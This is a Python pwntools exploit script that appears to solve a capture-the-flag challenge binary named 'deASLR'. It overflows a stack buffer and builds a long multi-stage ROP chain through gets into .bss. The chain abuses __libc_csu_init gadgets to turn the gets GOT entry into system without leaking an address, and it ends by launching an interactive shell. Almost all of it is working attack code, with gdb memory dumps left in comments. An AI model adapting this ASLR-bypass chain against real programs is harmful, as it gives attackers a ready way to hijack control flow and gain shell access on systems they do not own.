#!/usr/bin/env python
from pwn import *

r = process('./deASLR')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

offset = (libc.symbols['system'] - libc.symbols['gets']) & 0xffffffff
print hex(offset)

gets_plt = 0x400430
pop_rsp_r13_r14_r15_ret = 0x4005bd 
pop_rbp_ret = 0x4004a0
pop_rdi_ret = 0x4005c3
pop_r15_ret = 0x4005c2
pop_rsi_r15_ret = 0x4005c1
pop_rbp_r14_r15_ret = 0x4005bf
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005ba # use objdump
ret = 0x00000000004003f9 # for system stack alignment check
add_ebx_esi_ret = 0x400509# objdump : do_global_dtors_aux 01 f3 c3
leave_ret = 0x400554
csu_init = 0x400560 # __csu_init
call_at_r12 = 0x4005a9 # call QWORD PTR [r12+rbx*8]

gets_got = 0x600ff0

bss = 0x602000
buf1 = 0x601f00 
buf2 = 0x601e00
buf3 = 0x601d00
buf4 = 0x601c00
buf5 = 0x601b00
buf6 = 0x601a00
buf7 = 0x601900
buf8 = 0x601800

# the major register : rbx , r13

rop1 = [
        pop_rdi_ret, buf1, gets_plt, # rop2
	pop_rdi_ret, buf2, gets_plt, # rop4
	pop_rdi_ret, buf3, gets_plt, # rop5
	pop_rdi_ret, buf4, gets_plt, # rop7
	pop_rdi_ret, buf5, gets_plt, # rop9
	pop_rdi_ret, buf6, gets_plt, # rop10
	pop_rdi_ret, buf7, gets_plt, # rop13
	pop_rbp_ret, buf1 - 8, leave_ret
]

rop2 = [ # buf1
	pop_rdi_ret, gets_got + 24, gets_plt, # rop3
	pop_rbp_ret, buf2 - 8,
	pop_rsp_r13_r14_r15_ret, gets_got
] 
# r13 = gets_got

rop3 = [ # gets_got + 24
	leave_ret
]

rop4 = [ # buf2
	csu_init, 
	pop_rbp_ret, buf3 - 8, leave_ret
]
# 0x601df0: <gets_addr>

rop5 = [ # buf3
	pop_rdi_ret, buf2 - 24, gets_plt, # rop6_1
	pop_rdi_ret, buf2 + 32, gets_plt, # rop6_2
	pop_rbp_ret, buf2 - 24 - 8, leave_ret
]

rop6_1 = [ # buf2 - 24
	pop_rbx_rbp_r12_r13_r14_r15_ret
]
'''
0x601de0: 0x0000000000000000      0x00000000004005ba
0x601df0: <gets_addr>             0x0000000000000000
0x601e00: 0x0000000000000000
'''

rop6_2 = [ # buf2 + 32
	pop_rsi_r15_ret, offset, 0,
	add_ebx_esi_ret, 
	csu_init, 
	pop_rbp_ret, buf4 - 8, leave_ret
]
'''
0x601e20:       0x00000000004005c1      0x00000000fffcf390(offset)
0x601e30:       0x0000000000000000      0x0000000000400509

csu_init will push rbx
0000| 0x601e18 --> 0xfc611440

'''

# rop 2-4 ,rop 7-9 diff 
# for high 4bytes system

rop7 = [ # buf4
	pop_rdi_ret, gets_got + 28, gets_plt, # rop8
	pop_rbp_ret, buf5 - 8, 
	pop_rsp_r13_r14_r15_ret, gets_got + 4
]
'''
=> 0x4005bd <__libc_csu_init+93>: pop rsp
0000| 0x601c30 --> 0x600ff4 --> 0x7f59
r13 = 0x7f59
'''

rop8 = [ # gets_got + 28
	leave_ret
]

rop9 = [ # buf5
	csu_init, 
	pop_rbp_ret, buf6 - 8, leave_ret
]
'''
After csu_init
0x601af0: 0x0000000000007f84
'''


rop10 = [ # buf6
	pop_rdi_ret, buf5 - 24, gets_plt, # rop11_1
	pop_rdi_ret, buf5 + 32, gets_plt, # rop11_2
	pop_rbp_ret, buf5 - 24 - 8, leave_ret
]

rop11_1 = [ # buf5 - 24
	pop_rbx_rbp_r12_r13_r14_r15_ret
]
# rbx = 0x7f84

rop11_2 = [ # buf5 + 32
	pop_rdi_ret, buf2 + 68, gets_plt, # rop12
	pop_rbp_ret, buf2 + 68 - 8, leave_ret
]
# testing buf2 + N offset

rop12 = [ # buf2 + 164
	csu_init, 
	pop_rbp_ret, buf7 - 8, leave_ret
]
'''
0x40057a <__libc_csu_init+26>:       push   rbx
[---stack---]
0000| 0x601e24 --> 0x0
gdb-peda$ x/gx 0x601e18 + 4
0x601e1c:       0x0000000000000000
gdb-peda$ x/gx 0x601e24 - 8
0x601e1c:       0x0000000000000000
gdb-peda$ x/gx 0x601e18
0x601e18:       0x00000000c9d7f440
'''

rop13 = [
	pop_rdi_ret, buf8, gets_plt, # shell command
	pop_rdi_ret, buf8, 
	pop_rbx_rbp_r12_r13_r14_r15_ret, 0, 0, buf2 + 24, 0, 0, 0, 
	ret , call_at_r12
]

payload = (
	'A' * 24 + 
	''.join(map(p64, rop1)) + '\n' + 
	''.join(map(p64, rop2)) + '\n' + 
	''.join(map(p64, rop4)) + '\n' + 
	''.join(map(p64, rop5)) + '\n' + 
	''.join(map(p64, rop7)) + '\n' + 
	''.join(map(p64, rop9)) + '\n' + 
	''.join(map(p64, rop10)) + '\n' + 
	''.join(map(p64, rop13)) + '\n' + 
	''.join(map(p64, rop3))[:-1] + '\n' + 
	''.join(map(p64, rop6_1))[:-1] + '\n' + 
	''.join(map(p64, rop6_2)) + '\n' + 
	''.join(map(p64, rop8)) + '\n' + 
	''.join(map(p64, rop11_1))[:-1] + '\n' + 
	''.join(map(p64, rop11_2)) + '\n' + 
	''.join(map(p64, rop12)) + '\n' + 
	'sh\n'
)
raw_input('#')
r.send(payload)


r.interactive()

